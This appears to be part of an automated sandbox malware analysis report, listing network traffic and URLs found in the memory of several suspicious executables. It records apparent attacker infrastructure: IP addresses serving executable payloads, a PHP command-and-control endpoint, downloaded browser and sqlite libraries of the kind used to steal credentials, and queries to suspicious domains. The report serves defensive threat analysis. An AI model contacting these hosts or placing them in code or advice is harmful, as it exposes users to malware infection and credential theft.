Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click
Source: global traffic	DNS traffic detected: DNS query: treehoneyi.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat

Source: AWrVzd6XpC.exe, 00000000.00000003.1992298031.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: AWrVzd6XpC.exe, 00000000.00000003.1992298031.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/)g
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe=
Source: AWrVzd6XpC.exe, 00000000.00000003.1992346807.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1992298031.0000000000CE7000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1992393126.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: AWrVzd6XpC.exe, 00000000.00000003.1992346807.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exea
Source: AWrVzd6XpC.exe, 00000000.00000003.1992346807.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeat%
Source: AWrVzd6XpC.exe, 00000000.00000003.1992346807.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exemnko
Source: AWrVzd6XpC.exe, 00000000.00000003.1992346807.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: AWrVzd6XpC.exe, 00000000.00000003.1992346807.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exep9
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000C47000.00000040.00000001.01000000.00000009.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dlleu
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllR4L5
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dlla4
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dlln4
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll_z
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllH8
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllh8
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000C47000.00000040.00000001.01000000.00000009.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2534290002.000000000BDEA000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpFOE5(
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000C47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phper
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpo-
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001548000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpw-
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206Rx
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2518247664.0000000000C47000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpser
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000F.00000002.2957332122.0000000000E90000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000F.00000002.2957332122.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php9001
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpe
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpuP
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe8476
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/london/random.exe
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/london/random.exez
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: AWrVzd6XpC.exe, 00000000.00000003.1832522156.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1827868227.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1836312531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830842138.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834366630.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1831567671.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835201454.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1918894430.0000000000CBF000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834620512.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1834122320.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830212681.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1829521154.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1828173832.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1830344837.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1832350531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1831976810.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1828033872.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1835695200.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1833765561.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1827517066.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1827703782.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 0000000F.00000002.2957332122.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000010.00000002.2876504906.0000000000E93000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540920439.000000006CE7D000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2529515199.0000000005DB5000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540357804.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: AWrVzd6XpC.exe, 00000000.00000003.1802874978.00000000055CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2534290002.000000000BDE2000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.5.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2534290002.000000000BDE2000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.5.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2534290002.000000000BDE2000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.5.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2534290002.000000000BDE2000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.5.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: AWrVzd6XpC.exe, 00000000.00000003.1756616344.00000000055DE000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756676835.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, AWrVzd6XpC.exe, 00000000.00000003.1756750960.00000000055DB000.00000004.00000800.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926545484.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926378958.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 8c6b987a2c.exe, 00000012.00000003.2926147268.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
